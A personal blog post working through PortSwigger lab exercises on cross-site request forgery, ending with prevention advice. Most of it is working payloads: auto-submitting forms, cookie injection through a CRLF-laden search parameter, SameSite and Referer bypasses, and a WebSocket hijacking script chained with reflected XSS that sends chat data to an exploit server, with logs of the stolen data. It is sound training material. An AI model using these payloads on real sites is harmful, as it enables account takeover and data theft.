Post

Cross-site request forgery

Cross-site request forgery

pp

Cross-site request forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to trick a victim into unknowingly making an unwanted request to a web application where they are authenticated.

How CSRF Works

  • Victim logs into a trusted website (e.g., a banking site) and remains authenticated (session cookie is active).

  • Attacker crafts a malicious request (e.g., a forged HTTP request to transfer money).

  • Victim is tricked into triggering the request by visiting a malicious website, clicking a link, or loading an image.

  • The request is sent from the victim’s browser with their authentication token (cookies, session, etc.).

  • The server processes the request, assuming it’s legitimate, and executes the action.

Examples of a CSRF Attack

  • If a user is logged into their banking site, an attacker might trick them into clicking a malicious link like:

<img src="https://bank.com/transfer?to=attacker&amount=1000" />

CSRF Portswigger Labs

For a CSRF attack, you’ll typically craft a malicious HTML form that submits a request to change the email address when the victim loads the page. Here’s a basic example:

1
2
3
4
5
6
7
8
9
10
11
<html>
  <body>
    <form action="https://TARGET.COM/path/to/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@example.com">
      <input type="hidden" name="csrf_token" value="CSRF_TOKEN_IF_NEEDED">  # could be excluded
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Post request validation

There could be validation on POST request so you coult try to escape it using GET

1
2
3
4
5
6
7
8
9
10
<html>
  <body>
    <form action="https://TARGET.COM/path/to/change-email" method="GET">
      <input type="hidden" name="email" value="attacker@example.com">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Session token validation

If there there is validation of session token presented we need to add this token to our payload:

1
2
3
4
5
6
7
8
9
10
11
<html>
  <body>
    <form action="TARGET.COM/path/to/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@example.com">
      <input type="hidden" name="cookie" value="session=YFRxHNSadi6IgBn05CdTi5w92Qywmp5z"> # could be token or whatever, here we just use session for portswigger lab
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF token validation

If there there is validation of CSRF token presented we need to add this token to our payload(csrf token here will be for one time use so need to use intercept there):

1
2
3
4
5
6
7
8
9
10
11
<html>
  <body>
    <form action="https://0ae5000a04ac221c80d30dea00d9003a.web-security-academy.net/my-account/change-email" method="POST">

      <input type="hidden" name="csrf" value="rB4A7VVAVriHdytuKqwvZzj7uk9nyCyO">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

If there there is validation of CSRF token and cookie presented we need to add this token to our payload(csrf token here will be for one time use so need to use intercept there) and Set-Cookies (csrfKey):

1
2
3
4
5
6
7
8
9
<html>
  <body>
    <form action="https://0a55008c03d3c78882b5f12500ff0056.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attack@email.net">
      <input type="hidden" name="csrf" value="yf8Pp0EPWFwOyppqD2U7YH43Sy1UKRkQ">
    </form>
    <img src="https://0a55008c03d3c78882b5f12500ff0056.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Womglu5UhJg621xuSu5JhcOQfnGuN82K%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>
1
2
3
4
5
6
7
<form method="POST" action="https://0a8700e30340c70c82f4793100a60097.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="attack@attacker.com">
    <input type="hidden" name="csrf" value="fake">
</form>

<img src="https://0a8700e30340c70c82f4793100a60097.web-security-academy.net/?
search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>

SameSite Lax bypass via method override

If the target site is enforcing SameSite=Lax for the CSRF token, you can potentially bypass it using the method override technique. This works when the application allows HTTP method override via headers or query parameters (e.g., X-HTTP-Method-Override or _method). SameSite=Lax allows cookies to be sent in GET requests but blocks them in cross-site POST requests.

1
2
3
4
5
6
7
8
9
10
11
<html>
  <body>
    <form action="https://0ae100d204ab4258821ac93000bc0004.web-security-academy.net/my-account/change-email" method="GET">
    <input type="hidden" name="email" value="attack@email.net">
    <input type="hidden" name="_method" value="POST">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

SameSite Strict bypass via client-side redirect

Let’s use the client-side redirect (document.location) to trick the browser into making a same-origin request, ensuring that all cookies were sent automatically. The path traversal (postId=3/../) will allow us to bypass URL validation and modify the request to change the email address without requiring user interaction

1
2
3
<script>
    document.location = "https://0af7007504d09417810f8ac4004b00ea.web-security-academy.net/post/comment/confirmation?postId=3/../my-account/change-email?email=nonuser%40user.net%26submit=1";
</script>

SameSite Strict bypass via sibling domain

To solve this first I went and solve WebSockets path as suggested and used a payload from there to see what data could be retrieved abusing websockets:

1
2
3
4
5
6
7
8
9
<script>
    var ws = new WebSocket('wss://0a0f000903ba45ba80500daf008600d5.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://exploit-0ab00018030445c580950c3b01ed00d4.exploit-server.net/exploit?message=' + btoa(event.data));
    };
</script>

Data I saw on my server after delivering payload to victim:

1
2
3
4
5
6
7
8
...
188.146.36.29   2025-04-08 20:15:56 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
188.146.36.29   2025-04-08 20:16:12 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
188.146.36.29   2025-04-08 20:16:12 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
10.0.3.60       2025-04-08 20:16:12 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.60       2025-04-08 20:16:12 +0000 "GET /exploit?message=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
188.146.36.29   2025-04-08 20:16:13 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
188.146.36.29   2025-04-08 20:16:13 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"

Decoding base64 we see some chat part {"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}

Then if we will dig deeper in our requests in burp in chat request history (not websocket!) we could find a new link https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net after checking this one we see a login page. Try to login with any data and check request in burp - if we put it in the repeater and try XSS in login field, we could see that reflected XSS is presented.

PING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login HTTP/2
Host: cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
Cookie: session=YAVCt7MVYwIpNByxvtdLWcJWVjoZQcpe
Content-Length: 62
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=arst

PONG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 532

<html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <h1>Login</h1>
        <section>
            <p>Invalid username: <script>alert(1)</script></p>
            <form method="POST" action="/login">
                <label>Username</label>
                <input required="" type="username" name="username"/>
                <label>Password</label>
                <input required="" type="password" name="password"/>
            <button type="submit"> Log in </button>
        </section>
    </body>
</html>

Let’s try to change request to GET, so it will looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /login?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=testpasswd HTTP/2
Host: cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
Cookie: session=YAVCt7MVYwIpNByxvtdLWcJWVjoZQcpe
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

PONG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 532

<html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <h1>Login</h1>
        <section>
            <p>Invalid username: <script>alert(1)</script></p>
            <form method="POST" action="/login">
                <label>Username</label>
                <input required="" type="username" name="username"/>
                <label>Password</label>
                <input required="" type="password" name="password"/>
            <button type="submit"> Log in </button>
        </section>
    </body>
</html>

Ok we see the same answer as for POST, great, let’s use our initial payload (the one from WebSockets), encode it via URL encoding and abuse our login field so our new payload will look like this:

1
2
3
<script>
  document.location = "https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%64%37%30%30%66%61%30%33%32%34%33%63%33%31%38%30%66%31%34%30%61%36%30%30%32%38%30%30%35%31%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%65%36%30%30%32%61%30%33%31%39%33%63%64%34%38%30%66%32%33%66%33%33%30%31%38%64%30%30%31%30%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6d%65%73%73%61%67%65%27%20%2b%20%62%74%6f%61%28%65%76%65%6e%74%2e%64%61%74%61%29%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=testpasswd"
</script>

Ok so now we deliver this one to the victim and in the logs getting all the data we need!

SameSite Lax bypass via newly issued cookies/cookie refresh

While we check carefully - we are getting cookie after login … It was written that site will block a pop-up but I actually was able to solve it without windows.onclick like this:

1
2
3
4
5
6
7
8
9
10
11
<form method="POST" action="https://0a970020042119a980475df100fe000c.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="test@banged">
</form>
<script>
    window.open('https://0a970020042119a980475df100fe000c.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

CSRF where Referer validation depends on header being present

To bypass referrer header we can use metatag: <meta name="referrer" content="never">

1
2
3
4
5
6
7
8
9
10
11
12
<form method="POST" action="https://0a970020042119a980475df100fe000c.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="test@banged">
    <meta name="referrer" content="never">
</form>
<script>
    window.open('https://0a970020042119a980475df100fe000c.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

CSRF with broken Referer validation (validation of the cross-domain request)

Sometimes there is a pure check of referrer header so system doesn’t check exact url, but it is enough to have original url in the referer! So we will use history.pushState(state, title, url) where: state - An object you want to associate with the new URL (can be anything you want, like {userId: 123}); it is retrievable later via history.state. title - A string for the page title. Browsers ignore this for now (it’s reserved for future use — so you usually pass an empty string ‘’). url - The new URL you want to show in the address bar. It can be relative (/newpage) or absolute (https://site.com/newpage). It does not cause a page reload!

Updating Head with Referrer-policy value:

1
2
3
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-policy: unsafe-url

And use a payload:

1
2
3
4
5
6
7
8
9
10
11
<html>
  <body>
    <script>history.pushState("", "", "/?0ac400b10398ee0880da035000190001.web-security-academy.net")</script>
    <form action="https://0ac400b10398ee0880da035000190001.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@example.com">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Difference between a site and an origin

 SiteOrigin
DefinitionA broader grouping: same scheme + registrable domain + public suffixA stricter grouping: same scheme + hostname (FQDN) + port
FocusFocuses on the main domainFocuses on full hostname and port
Security boundaryUsed in some rules (like cookies: SameSite)Used heavily in Same-Origin Policy (SOP)
Examplehttps://example.com and https://sub.example.com are considered different origins, but part of the same sitehttps://sub.example.com:443 and http://sub.example.com:80 are different origins

How to Prevent CSRF

CSRF Tokens

  • Include a random token in every state-changing request (e.g., form submissions).

Example: <input type="hidden" name="csrf_token" value="random_value">

SameSite Cookies

  • Set SameSite attribute in cookies to prevent cross-site requests.
  • SameSite=Strict → Best protection (but may break some login flows)
  • SameSite=Lax → Safer default for most apps (allows GETs but blocks POSTs)

Example: Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict

Origin & Referer Header Validation

  • Check that requests come from trusted sources.

  • Origin: must match the trusted domain.

  • Referer: must start with your site’s URL.

User Interaction Requirements

  • Require CAPTCHA, re-authentication, or multi-factor authentication for sensitive actions.

CORS Policies

  • Restrict which origins can make cross-origin requests.

Avoid Sensitive Actions via GET

  • GET requests should NEVER change server state.
  • Only allow POST, PUT, DELETE for actions like changing password, updating email, etc.
This post is licensed under CC BY 4.0 by the author.